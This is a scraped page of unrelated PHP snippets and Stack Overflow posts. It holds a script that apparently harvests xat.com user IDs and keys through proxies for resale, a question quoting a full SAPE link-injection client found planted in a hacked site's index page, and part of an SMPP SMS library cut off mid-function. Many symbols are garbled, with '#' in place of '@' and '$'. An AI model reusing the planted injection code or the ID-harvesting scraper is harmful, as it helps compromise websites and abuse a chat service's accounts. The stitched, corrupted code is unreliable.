$data = '&UserId=0&k1=0&k2=0';
} else {
$xData = $data;
}
} else {
echo $data."\n";
}
$tries++;
}
if($xData=='') {
return;//Dead Proxy
}
if (strlen($data) < 50 && $data) {
$this->check($data);
}
}
public function sec2hms($sec, $padHours = false) {
#$hms = "";
#$days = intval($sec/86400);
if($days > 0 ) {
if($days == 1) {
#$hms .= (($padHours)?str_pad($hours, 2, "0", STR_PAD_LEFT).':':#$days.' Day');
} else {
#$hms .= (($padHours)?str_pad($hours, 2, "0", STR_PAD_LEFT).':':#$days.' Days');
}
}
#$sec-= ($days*86400);
#$hours = intval(intval($sec) / 3600);
if($hours > 0) {
if($days > 0) { #$s = ', '; }
if($hours == 1) {
#$hms .= #$s.(($padHours)?str_pad($hours, 2, "0", STR_PAD_LEFT).':':#$hours.' Hour');
} else {
#$hms .= #$s.(($padHours)?str_pad($hours, 2, "0", STR_PAD_LEFT).':':#$hours.' Hours');
}
}
#$minutes = intval(($sec / 60) % 60);
if($minutes > 0) {
if($hours > 0) { #$d = ', '; }
if($minutes == 1) {
#$hms .= #$d.str_pad($minutes, 2, "0", STR_PAD_LEFT) . ' Minute';
} else {
#$hms .= #$d.str_pad($minutes, 2, "0", STR_PAD_LEFT) . ' Minutes';
}
}
#$seconds = intval($sec % 60);
if($seconds > 0) {
if($minutes > 0) { #$p = ', '; }
if($seconds == 1) {
#$hms .= #$p.str_pad($seconds, 2, "0", STR_PAD_LEFT) . ' Second';
} else {
#$hms .= #$p.str_pad($seconds, 2, "0", STR_PAD_LEFT) . ' Seconds';
}
}
return #$hms;
}
public function report($data) {
$time = date('g:i:s A', time());
echo "[$time] $data\n";
}
public function rwrite($data) {
$auser = $this->idFix($data);
$check = $this->CheckForID($auser['UserId']);
if($check) {
if(str_replace(' ', '', $auser['UserId'])!='') {
$this->report($auser['UserId'].' already exists in the database.');
}
return;
}
$auser['rare'] = true;
$auser['price'] = $this->determinePrice($auser['UserId']);
$auser['reglink'] = 'http://xat.com/web_gear/chat/register.php?UserId='.$auser['UserId'].'&k2='.$auser['k2'].'&mode=1';
$auser['added'] = date('l, F jS Y g:i:s A');
$this->sql->insert('ids', $auser);
$nc = number_format( $this->sql->countRows('ids WHERE sold=0') );
$this->report($auser['UserId'].' added as a rare id, we have '.$nc.' ids now.');
}
public function write($data) {
$auser = $this->idFix($data);
$check = $this->CheckForID($auser['UserId']);
if($check) {
if(str_replace(' ', '', $auser['UserId'])!='') {
$this->report($auser['UserId'].' already exists in the database.');
}
return;
}
$auser['rare'] = false;
$auser['added'] = date('l, F jS Y g:i:s A');
$auser['price'] = $this->determinePrice($auser['UserId']);
$auser['reglink'] = 'http://xat.com/web_gear/chat/register.php?UserId='.$auser['UserId'].'&k2='.$auser['k2'].'&mode=1';
$this->sql->insert('ids', $auser);
$nc = number_format( $this->sql->countRows('ids WHERE sold=0') );
$this->report($auser['UserId'].' added as a normal id, we have '.$nc.' ids now.');
}
public function determinePrice($id='0') {
if($id=='0' || !is_numeric($id)) {
return '0';//0 xats cuz of no id.
}
$price = 100;//Start the bid off at 100 xats, NO FREE IDS.
if ( $this->strposa($id, $this->nine) ) {
$price = $price + 900;// never mind that, make it 1k
} else
if ( $this->strposa($id, $this->eight) ) {
$price = $price + 800;
} else
if ( $this->strposa($id, $this->seven) ) {
$price = $price + 700;
} else
if ( $this->strposa($id, $this->six) ) {
$price = $price + 600;
} else
if ( $this->strposa($id, $this->five) ) {
$price = $price + 500;
} else
if ( $this->strposa($id, $this->four) ) {
$price = $price + 150;
} else
if ( $this->strposa($id, $this->three) ) {
$price = $price + 20;
}
return $price;
}
public function idFix($data='&UserId=0&k1=0&k2=0')
{
if($data=='') { $data = '&UserId=0&k1=0&k2=0'; }
$user = explode('&', $data);
return array(
'UserId'=> str_replace('UserId=', '', #$user[1]),
'k1' => str_replace('k1=', '', #$user[2]),
'k2'=> str_replace('k2=', '', #$user[3])
);
}
public function randomString($chars=32) {
$letters = range('a','z');
$caps = range('A', 'Z');
$numbers = range(0, 9);
$array = array_merge(range('a','z'), array_merge(range('A', 'Z'), range(0,9)));
for($x=0;$x<=100;$x++) {
shuffle($array);//shuffle it up really good =D
}
$i = 0;
$ch = '';
for($index=0; $index<$chars; $index++) {
$ch .= $array[ array_rand($array) ];
}
return $ch;
}
public function CheckForID($id=0)
{
if($id==0) return true;
$check = $this->sql->select('*', 'ids', 'UserId='.$id);
if(!$check)
{
return false;
}
return true;
}
public function check($data='&UserId=0&k1=0&k2=0') {
if($data=='') { $data = '&UserId=0&k1=0&k2=0'; }
$auser = $this->idFix($data);
$this->storage($auser['UserId'], $data);
}
public function storage($id, $data) {
if ($this->strposa($id,$this->nine) && strlen($data) < 50 && $data) {
$this->rwrite($data);
return true;
} else
if ($this->strposa($id,$this->eight) && strlen($data) < 50 && $data) {
$this->rwrite($data);
return true;
} else
if ($this->strposa($id,$this->seven) && strlen($data) < 50 && $data) {
$this->rwrite($data);
return true;
} else
if ($this->strposa($id,$this->six) && strlen($data) < 50 && $data) {
$this->rwrite($data);
return true;
} else
if ($this->strposa($id,$this->five) && strlen($data) < 50 && $data) {
$this->rwrite($data);
return true;
} else
if ($this->strposa($id,$this->four) && strlen($data) < 50 && $data) {
$this->rwrite($data);
return true;
} else
if ($this->strposa($id,$this->three) && strlen($data) < 50 && $data) {
$this->rwrite($data);
return true;
} else {
$this->write($data);
return true;
}
return false;
}
public function reset() {
die('restart me!');
}
public function strposa($haystack, $needles=array(), $offset=1) {
$chr = array();
foreach($needles as $needle) {
$res = strpos($haystack, $needle);
if ($res !== false)
{
$chr[$needle] = $res;
}
}
if(empty($chr))
{
return false;
}
return min($chr);
}
}
?>
The PHP fatal error actually has nothing whatsoever to do with Linux itself, it's the cURL extension that's missing from PHP.
To get back to the Debian side of things, to install the extension, run this in a command line / terminal:
sudo apt-get install php5-curl
Note: Don't EVER copy-paste stuff from the internet into your console. You could be copying hidden text as well and potentially compromise your system. Go ahead and type it.
Closed. This question is off-topic. It is not currently accepting answers.
Want to improve this question? Update the question so it's on-topic for Stack Overflow.
Closed 10 years ago.
Improve this question
I found this script attached to a modified index page. This looks like some kind of backdoor. and who is this SAPE ?
<?php
class SAPE_base {
var $_version = '1.0.8';
var $_verbose = false;
var $_charset = '';
var $_sape_charset = '';
var $_server_list = array('dispenser-01.sape.ru', 'dispenser-02.sape.ru');
var $_cache_lifetime = 3600;
var $_cache_reloadtime = 600;
var $_error = '';
var $_host = '';
var $_request_uri = '';
var $_multi_site = false;
var $_fetch_remote_type = '';
var $_socket_timeout = 6;
var $_force_show_code = false;
var $_is_our_bot = false;
var $_debug = false;
var $_ignore_case = false;
var $_db_file = '';
var $_use_server_array = false;
var $_force_update_db = false;
function SAPE_base($options = null) {
$host = '';
if (is_array($options)) {
if (isset($options['host'])) {
$host = $options['host'];
}
}
elseif (strlen($options)) {
$host = $options;
$options = array();
}
else {
$options = array();
}
if (isset($options['use_server_array']) && $options['use_server_array'] == true) {
$this->_use_server_array = true;
}
if (strlen($host)) {
$this->_host = $host;
}
else {
$this->_host = $_SERVER['HTTP_HOST'];
}
$this->_host = preg_replace('/^http:\/\//', '', $this->_host);
$this->_host = preg_replace('/^www\./', '', $this->_host);
if (isset($options['request_uri']) && strlen($options['request_uri'])) {
$this->_request_uri = $options['request_uri'];
}
elseif ($this->_use_server_array === false) {
$this->_request_uri = getenv('REQUEST_URI');
}
if (strlen($this->_request_uri) == 0) {
$this->_request_uri = $_SERVER['REQUEST_URI'];
}
if (isset($options['multi_site']) && $options['multi_site'] == true) {
$this->_multi_site = true;
}
if (isset($options['debug']) && $options['debug'] == true) {
$this->_debug = true;
}
if (isset($_COOKIE['sape_cookie']) && ($_COOKIE['sape_cookie'] == _SAPE_USER)) {
$this->_is_our_bot = true;
if (isset($_COOKIE['sape_debug']) && ($_COOKIE['sape_debug'] == 1)) {
$this->_debug = true;
$this->_options = $options;
$this->_server_request_uri = $this->_request_uri = $_SERVER['REQUEST_URI'];
$this->_getenv_request_uri = getenv('REQUEST_URI');
$this->_SAPE_USER = _SAPE_USER;
}
if (isset($_COOKIE['sape_updatedb']) && ($_COOKIE['sape_updatedb'] == 1)) {
$this->_force_update_db = true;
}
}
else {
$this->_is_our_bot = false;
}
if (isset($options['verbose']) && $options['verbose'] == true || $this->_debug) {
$this->_verbose = true;
}
if (isset($options['charset']) && strlen($options['charset'])) {
$this->_charset = $options['charset'];
}
else {
$this->_charset = 'windows-1251';
}
if (isset($options['fetch_remote_type']) && strlen($options['fetch_remote_type'])) {
$this->_fetch_remote_type = $options['fetch_remote_type'];
}
if (isset($options['socket_timeout']) && is_numeric($options['socket_timeout']) && $options['socket_timeout'] > 0) {
$this->_socket_timeout = $options['socket_timeout'];
}
if (isset($options['force_show_code']) && $options['force_show_code'] == true) {
$this->_force_show_code = true;
}
if (!defined('_SAPE_USER')) {
return $this->raise_error('Не задана константа _SAPE_USER');
}
if (isset($options['ignore_case']) && $options['ignore_case'] == true) {
$this->_ignore_case = true;
$this->_request_uri = strtolower($this->_request_uri);
}
}
function fetch_remote_file($host, $path) {
$user_agent = $this->_user_agent . ' ' . $this->_version;
#ini_set('allow_url_fopen', 1);
#ini_set('default_socket_timeout', $this->_socket_timeout);
#ini_set('user_agent', $user_agent);
if (
$this->_fetch_remote_type == 'file_get_contents'
||
(
$this->_fetch_remote_type == ''
&&
function_exists('file_get_contents')
&&
ini_get('allow_url_fopen') == 1
)
) {
$this->_fetch_remote_type = 'file_get_contents';
if ($data = #file_get_contents('http://' . $host . $path)) {
return $data;
}
}
elseif (
$this->_fetch_remote_type == 'curl'
||
(
$this->_fetch_remote_type == ''
&&
function_exists('curl_init')
)
) {
$this->_fetch_remote_type = 'curl';
if ($ch = #curl_init()) {
#curl_setopt($ch, CURLOPT_URL, 'http://' . $host . $path);
#curl_setopt($ch, CURLOPT_HEADER, false);
#curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
#curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $this->_socket_timeout);
#curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
if ($data = #curl_exec($ch)) {
return $data;
}
#curl_close($ch);
}
}
else {
$this->_fetch_remote_type = 'socket';
$buff = '';
$fp = #fsockopen($host, 80, $errno, $errstr, $this->_socket_timeout);
if ($fp) {
#fputs($fp, "GET {$path} HTTP/1.0\r\nHost: {$host}\r\n");
#fputs($fp, "User-Agent: {$user_agent}\r\n\r\n");
while (!#feof($fp)) {
$buff .= #fgets($fp, 128);
}
#fclose($fp);
$page = explode("\r\n\r\n", $buff);
return $page[1];
}
}
return $this->raise_error('Не могу подключиться к серверу: ' . $host . $path . ', type: ' . $this->_fetch_remote_type);
}
function _read($filename) {
$fp = #fopen($filename, 'rb');
#flock($fp, LOCK_SH);
if ($fp) {
clearstatcache();
$length = #filesize($filename);
$mqr = #get_magic_quotes_runtime();
#set_magic_quotes_runtime(0);
if ($length) {
$data = #fread($fp, $length);
}
else {
$data = '';
}
#set_magic_quotes_runtime($mqr);
#flock($fp, LOCK_UN);
#fclose($fp);
return $data;
}
return $this->raise_error('Не могу считать данные из файла: ' . $filename);
}
function _write($filename, $data) {
$fp = #fopen($filename, 'ab');
if ($fp) {
if (flock($fp, LOCK_EX | LOCK_NB)) {
$length = strlen($data);
ftruncate($fp, 0);
#fwrite($fp, $data, $length);
#flock($fp, LOCK_UN);
#fclose($fp);
if (md5($this->_read($filename)) != md5($data)) {
#unlink($filename);
return $this->raise_error('Нарушена целостность данных при записи в файл: ' . $filename);
}
}
else {
return false;
}
return true;
}
return $this->raise_error('Не могу записать данные в файл: ' . $filename);
}
function raise_error($e) {
$this->_error = '<p style="color: red; font-weight: bold;">SAPE ERROR: ' . $e . '</p>';
if ($this->_verbose == true) {
print $this->_error;
}
return false;
}
function load_data() {
$this->_db_file = $this->_get_db_file();
if (!is_file($this->_db_file)) {
if (#touch($this->_db_file)) {
#chmod($this->_db_file, 0666);
}
else {
return $this->raise_error('Нет файла ' . $this->_db_file . '. Создать не удалось. Выставите права 777 на папку.');
}
}
if (!is_writable($this->_db_file)) {
return $this->raise_error('Нет доступа на запись к файлу: ' . $this->_db_file . '! Выставите права 777 на папку.');
}
#clearstatcache();
$data = $this->_read($this->_db_file);
if (
$this->_force_update_db
|| (
!$this->_is_our_bot
&&
(
filemtime($this->_db_file) < (time() - $this->_cache_lifetime)
||
filesize($this->_db_file) == 0
||
#unserialize($data) == false
)
)
) {
#touch($this->_db_file, (time() - $this->_cache_lifetime + $this->_cache_reloadtime));
$path = $this->_get_dispenser_path();
if (strlen($this->_charset)) {
$path .= '&charset=' . $this->_charset;
}
foreach ($this->_server_list as $i => $server) {
if ($data = $this->fetch_remote_file($server, $path)) {
if (substr($data, 0, 12) == 'FATAL ERROR:') {
$this->raise_error($data);
}
else {
$hash = #unserialize($data);
if ($hash != false) {
$hash['__sape_charset__'] = $this->_charset;
$hash['__last_update__'] = time();
$hash['__multi_site__'] = $this->_multi_site;
$hash['__fetch_remote_type__'] = $this->_fetch_remote_type;
$hash['__ignore_case__'] = $this->_ignore_case;
$hash['__php_version__'] = phpversion();
$hash['__server_software__'] = $_SERVER['SERVER_SOFTWARE'];
$data_new = #serialize($hash);
if ($data_new) {
$data = $data_new;
}
$this->_write($this->_db_file, $data);
break;
}
}
}
}
}
if (strlen(session_id())) {
$session = session_name() . '=' . session_id();
$this->_request_uri = str_replace(array('?' . $session, '&' . $session), '', $this->_request_uri);
}
$this->set_data(#unserialize($data));
}
}
class SAPE_client extends SAPE_base {
var $_links_delimiter = '';
var $_links = array();
var $_links_page = array();
var $_user_agent = 'SAPE_Client PHP';
function SAPE_client($options = null) {
parent::SAPE_base($options);
$this->load_data();
}
function return_links($n = null, $offset = 0) {
if (is_array($this->_links_page)) {
$total_page_links = count($this->_links_page);
if (!is_numeric($n) || $n > $total_page_links) {
$n = $total_page_links;
}
$links = array();
for ($i = 1; $i <= $n; $i++) {
if ($offset > 0 && $i <= $offset) {
array_shift($this->_links_page);
}
else {
$links[] = array_shift($this->_links_page);
}
}
$html = join($this->_links_delimiter, $links);
if (
strlen($this->_charset) > 0
&&
strlen($this->_sape_charset) > 0
&&
$this->_sape_charset != $this->_charset
&&
function_exists('iconv')
) {
$new_html = #iconv($this->_sape_charset, $this->_charset, $html);
if ($new_html) {
$html = $new_html;
}
}
if ($this->_is_our_bot) {
$html = '<sape_noindex>' . $html . '</sape_noindex>';
}
}
else {
$html = $this->_links_page;
}
if ($this->_debug) {
$html .= print_r($this, true);
}
return $html;
}
function _get_db_file() {
if ($this->_multi_site) {
return dirname(__FILE__) . '/' . $this->_host . '.links.db';
}
else {
return dirname(__FILE__) . '/links.db';
}
}
function _get_dispenser_path() {
return '/code.php?user=' . _SAPE_USER . '&host=' . $this->_host;
}
function set_data($data) {
if ($this->_ignore_case) {
$this->_links = array_change_key_case($data);
}
else {
$this->_links = $data;
}
if (isset($this->_links['__sape_delimiter__'])) {
$this->_links_delimiter = $this->_links['__sape_delimiter__'];
}
if (isset($this->_links['__sape_charset__'])) {
$this->_sape_charset = $this->_links['__sape_charset__'];
}
else {
$this->_sape_charset = '';
}
if (#array_key_exists($this->_request_uri, $this->_links) && is_array($this->_links[$this->_request_uri])) {
$this->_links_page = $this->_links[$this->_request_uri];
}
else {
if (isset($this->_links['__sape_new_url__']) && strlen($this->_links['__sape_new_url__'])) {
if ($this->_is_our_bot || $this->_force_show_code) {
$this->_links_page = $this->_links['__sape_new_url__'];
}
}
}
}
}
class SAPE_context extends SAPE_base {
var $_words = array();
var $_words_page = array();
var $_user_agent = 'SAPE_Context PHP';
var $_filter_tags = array('a', 'textarea', 'select', 'script', 'style', 'label', 'noscript', 'noindex', 'button');
function SAPE_context($options = null) {
parent::SAPE_base($options);
$this->load_data();
}
function replace_in_text_segment($text) {
$debug = '';
if ($this->_debug) {
$debug .= "<!-- argument for replace_in_text_segment: \r\n" . base64_encode($text) . "\r\n -->";
}
if (count($this->_words_page) > 0) {
$source_sentence = array();
if ($this->_debug) {
$debug .= '<!-- sentences for replace: ';
}
foreach ($this->_words_page as $n => $sentence) {
//Заменяем все сущности на символы
$special_chars = array(
'&' => '&',
'"' => '"',
''' => '\'',
'<' => '<',
'>' => '>'
);
$sentence = strip_tags($sentence);
foreach ($special_chars as $from => $to) {
str_replace($from, $to, $sentence);
}
$sentence = htmlspecialchars($sentence);
$sentence = preg_quote($sentence, '/');
$replace_array = array();
if (preg_match_all('/(&[#a-zA-Z0-9]{2,6};)/isU', $sentence, $out)) {
for ($i = 0; $i < count($out[1]); $i++) {
$unspec = $special_chars[$out[1][$i]];
$real = $out[1][$i];
$replace_array[$unspec] = $real;
}
}
foreach ($replace_array as $unspec => $real) {
$sentence = str_replace($real, '((' . $real . ')|(' . $unspec . '))', $sentence);
}
$source_sentences[$n] = str_replace(' ', '((\s)|( ))+', $sentence);
if ($this->_debug) {
$debug .= $source_sentences[$n] . "\r\n\r\n";
}
}
if ($this->_debug) {
$debug .= '-->';
}
$first_part = true;
if (count($source_sentences) > 0) {
$content = '';
$open_tags = array();
$close_tag = '';
$part = strtok(' ' . $text, '<');
while ($part !== false) {
if (preg_match('/(?si)^(\/?[a-z0-9]+)/', $part, $matches)) {
$tag_name = strtolower($matches[1]);
if (substr($tag_name, 0, 1) == '/') {
$close_tag = substr($tag_name, 1);
if ($this->_debug) {
$debug .= '<!-- close_tag: ' . $close_tag . ' -->';
}
}
else {
$close_tag = '';
if ($this->_debug) {
$debug .= '<!-- open_tag: ' . $tag_name . ' -->';
}
}
$cnt_tags = count($open_tags);
if (($cnt_tags > 0) && ($open_tags[$cnt_tags - 1] == $close_tag)) {
array_pop($open_tags);
if ($this->_debug) {
$debug .= '<!-- ' . $tag_name . ' - deleted from open_tags -->';
}
if ($cnt_tags - 1 == 0) {
if ($this->_debug) {
$debug .= '<!-- start replacement -->';
}
}
}
if (count($open_tags) == 0) {
if (!in_array($tag_name, $this->_filter_tags)) {
$split_parts = explode('>', $part, 2);
if (count($split_parts) == 2) {
foreach ($source_sentences as $n => $sentence) {
if (preg_match('/' . $sentence . '/', $split_parts[1]) == 1) {
$split_parts[1] = preg_replace('/' . $sentence . '/', str_replace('$', '\$', $this->_words_page[$n]), $split_parts[1], 1);
if ($this->_debug) {
$debug .= '<!-- ' . $sentence . ' --- ' . $this->_words_page[$n] . ' replaced -->';
}
unset($source_sentences[$n]);
unset($this->_words_page[$n]);
}
}
$part = $split_parts[0] . '>' . $split_parts[1];
unset($split_parts);
}
}
else {
$open_tags[] = $tag_name;
if ($this->_debug) {
$debug .= '<!-- ' . $tag_name . ' - added to open_tags, stop replacement -->';
}
}
}
}
else {
foreach ($source_sentences as $n => $sentence) {
if (preg_match('/' . $sentence . '/', $part) == 1) {
$part = preg_replace('/' . $sentence . '/', str_replace('$', '\$', $this->_words_page[$n]), $part, 1);
if ($this->_debug) {
$debug .= '<!-- ' . $sentence . ' --- ' . $this->_words_page[$n] . ' replaced -->';
}
unset($source_sentences[$n]);
unset($this->_words_page[$n]);
}
}
}
if ($this->_debug) {
$content .= $debug;
$debug = '';
}
if ($first_part) {
$content .= $part;
$first_part = false;
}
else {
$content .= $debug . '<' . $part;
}
unset($part);
$part = strtok('<');
}
$text = ltrim($content);
unset($content);
}
}
else {
if ($this->_debug) {
$debug .= '<!-- No word`s for page -->';
}
}
if ($this->_debug) {
$debug .= '<!-- END: work of replace_in_text_segment() -->';
}
if ($this->_is_our_bot || $this->_force_show_code || $this->_debug) {
$text = '<sape_index>' . $text . '</sape_index>';
if (isset($this->_words['__sape_new_url__']) && strlen($this->_words['__sape_new_url__'])) {
$text .= $this->_words['__sape_new_url__'];
}
}
if ($this->_debug) {
if (count($this->_words_page) > 0) {
$text .= '<!-- Not replaced: ' . "\r\n";
foreach ($this->_words_page as $n => $value) {
$text .= $value . "\r\n\r\n";
}
$text .= '-->';
}
$text .= $debug;
}
return $text;
}
function replace_in_page(&$buffer) {
if (count($this->_words_page) > 0) {
$split_content = preg_split('/(?smi)(<\/?sape_index>)/', $buffer, -1);
$cnt_parts = count($split_content);
if ($cnt_parts > 1) {
//Если есть хоть одна пара sape_index, то начинаем работу
if ($cnt_parts >= 3) {
for ($i = 1; $i < $cnt_parts; $i = $i + 2) {
$split_content[$i] = $this->replace_in_text_segment($split_content[$i]);
}
}
$buffer = implode('', $split_content);
if ($this->_debug) {
$buffer .= '<!-- Split by Sape_index cnt_parts=' . $cnt_parts . '-->';
}
}
else {
$split_content = preg_split('/(?smi)(<\/?body[^>]*>)/', $buffer, -1, PREG_SPLIT_DELIM_CAPTURE);
if (count($split_content) == 5) {
$split_content[0] = $split_content[0] . $split_content[1];
$split_content[1] = $this->replace_in_text_segment($split_content[2]);
$split_content[2] = $split_content[3] . $split_content[4];
unset($split_content[3]);
unset($split_content[4]);
$buffer = $split_content[0] . $split_content[1] . $split_content[2];
if ($this->_debug) {
$buffer .= '<!-- Split by BODY -->';
}
}
else {
if ($this->_debug) {
$buffer .= '<!-- Can`t split by BODY -->';
}
}
}
}
else {
if (!$this->_is_our_bot && !$this->_force_show_code && !$this->_debug) {
$buffer = preg_replace('/(?smi)(<\/?sape_index>)/', '', $buffer);
}
else {
if (isset($this->_words['__sape_new_url__']) && strlen($this->_words['__sape_new_url__'])) {
$buffer .= $this->_words['__sape_new_url__'];
}
}
if ($this->_debug) {
$buffer .= '<!-- No word`s for page -->';
}
}
return $buffer;
}
function _get_db_file() {
if ($this->_multi_site) {
return dirname(__FILE__) . '/' . $this->_host . '.words.db';
}
else {
return dirname(__FILE__) . '/words.db';
}
}
function _get_dispenser_path() {
return '/code_context.php?user=' . _SAPE_USER . '&host=' . $this->_host;
}
function set_data($data) {
$this->_words = $data;
if (#array_key_exists($this->_request_uri, $this->_words) && is_array($this->_words[$this->_request_uri])) {
$this->_words_page = $this->_words[$this->_request_uri];
}
}
}
?>
Sape is apparently link exchange service used by a Russian-speaking botnet owner.
This backdoor appears to use the sape API to download XML and use bots to create a "context" that probably clicks links to generate illicit revenue.
From a bad Google transition of sape.ru:
Sape system increases revenue and reduces the consumption of
webmasters optimizers. Venues are beginning to sell the place, not
only from the main pages, but also internal. How many pages on the
site? Let each revenue. Optimizers are buying cheap internal pages and
save on moving projects.
My Russian isn't very good, but sape.ru looks like some kind of link exchange service. And in answer to your question "Who is SAPE":
[david#archtower ~]$ whois sape.ru
% By submitting a query to RIPN's Whois Service
% you agree to abide by the following terms of use:
% http://www.ripn.net/about/servpol.html#3.2 (in Russian)
% http://www.ripn.net/about/en/servpol.html#3.2 (in English).
domain: SAPE.RU
nserver: ns1.q0.ru.
nserver: ns2.q0.ru.
nserver: ns3.q0.ru.
state: REGISTERED, DELEGATED, VERIFIED
org: LTD Sape
registrar: R01-REG-RIPN
admin-contact: https://partner.r01.ru/contact_admin.khtml
created: 2006.06.20
paid-till: 2013.06.20
free-date: 2013.07.21
source: TCI
Last updated on 2012.06.19 19:28:42 MSK
[david#archtower ~]$
Looks like it's something to automatically visit ads referral links at first glance.
<?php
/*
File : smppclass.php
Implements : SMPPClass()
Description : This class can send messages via the SMPP protocol. Also supports unicode and multi-part messages.
License : GNU Lesser Genercal Public License: http://www.gnu.org/licenses/lgpl.html
Commercial advertisement: Contact info#chimit.nl for SMS connectivity and more elaborate SMPP libraries in PHP and other languages.
*/
/*
The following are the SMPP PDU types that we are using in this class.
Apart from the following 5 PDU types, there are a lot of SMPP directives
that are not implemented in this version.
*/
/*
define(CM_BIND_TRANSMITTER, 0x00000002);
define(CM_SUBMIT_SM, 0x00000004);
define(CM_SUBMIT_MULTI, 0x00000021);
define(CM_UNBIND, 0x00000006);
define(CM_ENQUIRELINK, 0x00000015);
*/
define('generic_nack', 0x80000000);
define('bind_receiver', 0x00000001);
define('bind_receiver_resp', 0x80000001);
define('bind_transmitter', 0x00000002);
define('bind_transmitter_resp', 0x80000002);
define('query_sm', 0x00000003);
define('query_sm_resp', 0x80000003);
define('submit_sm', 0x00000004);
define('submit_sm_resp', 0x80000004);
define('deliver_sm', 0x00000005);
define('deliver_sm_resp', 0x80000005);
define('unbind', 0x00000006);
define('unbind_resp', 0x80000006);
define('replace_sm', 0x00000007);
define('replace_sm_resp', 0x80000007);
define('cancel_sm', 0x00000008);
define('cancel_sm_resp', 0x80000008);
define('bind_transceiver', 0x00000009);
define('bind_transceiver_resp', 0x80000009);
define('outbind', 0x0000000B);
define('enquire_link', 0x00000015);
define('enquire_link_resp', 0x80000015);
define('submit_multi', 0x00000021);
define('submit_multi_resp', 0x80000021);
define('alert_notification', 0x00000102);
define('data_sm', 0x00000103);
define('data_sm_resp', 0x80000103);
class SMPPClass
{
// public members:
/*
Constructor.
Parameters:
none.
Example:
$smpp = new SMPPClass();
*/
function SMPPClass()
{
/* seed random generator */
list($usec, $sec) = explode(' ', microtime());
$seed = (float)$sec + ((float)$usec * 100000);
srand($seed);
/* initialize member variables */
$this->_debug = true;
/* set this to false if you want to suppress debug output. */
$this->_socket = null;
$this->_command_status = 0;
$this->_sequence_number = 1;
$this->_source_address = "";
$this->_message_sequence = rand(1, 255);
$this->_message_id = 0;
$this->interface_version = 0x34;
$this->addr_ton = 1;
$this->addr_npi = 1;
$this->address_range = '';
$this->dlvrSms = array();
}
/*
For SMS gateways that support sender-ID branding, the method
can be used to set the originating address.
Parameters:
$from : Originating address
Example:
$smpp->SetSender("31495595392");
*/
function SetSender($from)
{
if (strlen($from) > 20) {
$this->debug("Error: sender id too long.\n");
return;
}
$this->_source_address = $from;
}
/*
This method initiates an SMPP session.
It is to be called BEFORE using the Send() method.
Parameters:
$host : SMPP ip to connect to.
$port : port # to connect to.
$username : SMPP system ID
$password : SMPP passord.
$system_type : SMPP System type
Returns:
true if successful, otherwise false
Example:
$smpp->Start("smpp.chimit.nl", 2345, "chimit", "my_password", "client01");
*/
function getMessageId(){
return $this->_message_id;
}
function Start($host, $port, $username, $password, $system_type, $type)
{
/*
$testarr = stream_get_transports();
$have_tcp = false;
reset($testarr);
while (list(, $transport) = each($testarr)) {
if ($transport == "tcpp") {
$have_tcp = true;
}
}
if (!$have_tcp) {
$this->debug("No TCP support in this version of PHP.\n");
return false;
}
*/
$this->_socket = #fsockopen($host, $port, $errno, $errstr, 120);
// todo: sanity check on input parameters
if (!$this->_socket) {
$this->debug("Error opening SMPP session.\n");
$this->debug("Error was: $errstr.\n");
return;
}
socket_set_timeout($this->_socket, 120);
//$status = $this->SendBindTransmitter($username, $password, $system_type);
if ($type == 'transmitter') {
$status = $this->SendBindTransmitter($username, $password, $system_type);
} elseif ($type == 'receiver') {
$status = $this->SendBindReceiver($username, $password, $system_type);
}
if ($status != 0) {
$this->debug("Error binding to SMPP server. Invalid credentials?\n");
}
return($status == 0);
}
/*
This method sends out one SMS message.
Parameters:
$to : destination address.
$text : text of message to send.
$unicode: Optional. Indicates if input string is html encoded unicode.
Returns:
true if messages sent successfull, otherwise false.
Example:
$smpp->Send("31649072766", "This is an SMPP Test message.");
$smpp->Send("31648072766", "صباحالخير", true);
*/
function Send($to, $text, $unicode = false)
{
if (strlen($to) > 20) {
$this->debug("to-address too long.\n");
return;
}
if (!$this->_socket) {
$this->debug("Not connected, while trying to send SUBMIT_SM.\n");
// return;
}
$service_type = "";
//default source TON and NPI for international sender
$source_addr_ton = 1;
$source_addr_npi = 1;
$source_addr = $this->_source_address;
if (preg_match('/\D/', $source_addr)) {
//alphanumeric sender
$source_addr_ton = 5;
$source_addr_npi = 0;
} elseif (strlen($source_addr) < 11) {
//national or shortcode sender
$source_addr_ton = 2;
$source_addr_npi = 1;
}
$dest_addr_ton = 1;
$dest_addr_npi = 1;
$destination_addr = $to;
$esm_class = 3;
$protocol_id = 0;
$priority_flag = 0;
$schedule_delivery_time = "";
$validity_period = "";
$registered_delivery_flag = 1;
$replace_if_present_flag = 0;
$data_coding = 241;
$sm_default_msg_id = 0;
if ($unicode) {
$text = mb_convert_encoding($text, "UCS-2BE", "HTML-ENTITIES");
/* UCS-2BE */
$data_coding = 8;
/* UCS2 */
$multi = $this->split_message_unicode($text);
} else {
$multi = $this->split_message($text);
}
$multiple = (count($multi) > 1);
if ($multiple) {
$esm_class += 0x00000040;
}
$result = true;
reset($multi);
while (list(, $part) = each($multi)) {
$short_message = $part;
$sm_length = strlen($short_message);
$status = $this->SendSubmitSM($service_type, $source_addr_ton, $source_addr_npi, $source_addr, $dest_addr_ton, $dest_addr_npi, $destination_addr, $esm_class, $protocol_id, $priority_flag, $schedule_delivery_time, $validity_period, $registered_delivery_flag, $replace_if_present_flag, $data_coding, $sm_default_msg_id, $sm_length, $short_message);
if ($status != 0) {
$this->debug("SMPP server returned error $status.\n");
$result = false;
}
}
return $result;
}
/*
This method ends a SMPP session.
Parameters:
none
Returns:
true if successful, otherwise false
Example: $smpp->End();
*/
function end()
{
if (!$this->_socket) {
// not connected
return;
}
$status = $this->SendUnbind();
if ($status != 0) {
$this->debug("SMPP Server returned error $status.\n");
}
fclose($this->_socket);
$this->_socket = null;
return($status == 0);
}
/*
This method sends an enquire_link PDU to the server and waits for a response.
Parameters:
none
Returns:
true if successfull, otherwise false.
Example: $smpp->TestLink()
*/
function TestLink()
{
$pdu = "";
$status = $this->SendPDU(enquire_link, $pdu);
return($status == 0);
}
function ReadSms()
{
$pdu = "";
$status = true;
$m = 0;
echo date('H:i:s') . "\n";
$status = $this->SendPDU(deliver_sm_resp, $pdu);
return $this->dlvrSms;
}
function QuerySms($message_id, $gsm)
{
$this->dlvrSms = array();
socket_set_timeout($this->_socket, 120);
$pdu = "";
$message_id = $message_id;
$source_addr_ton = 1;
$source_addr_npi = 1;
$source_addr = $gsm;
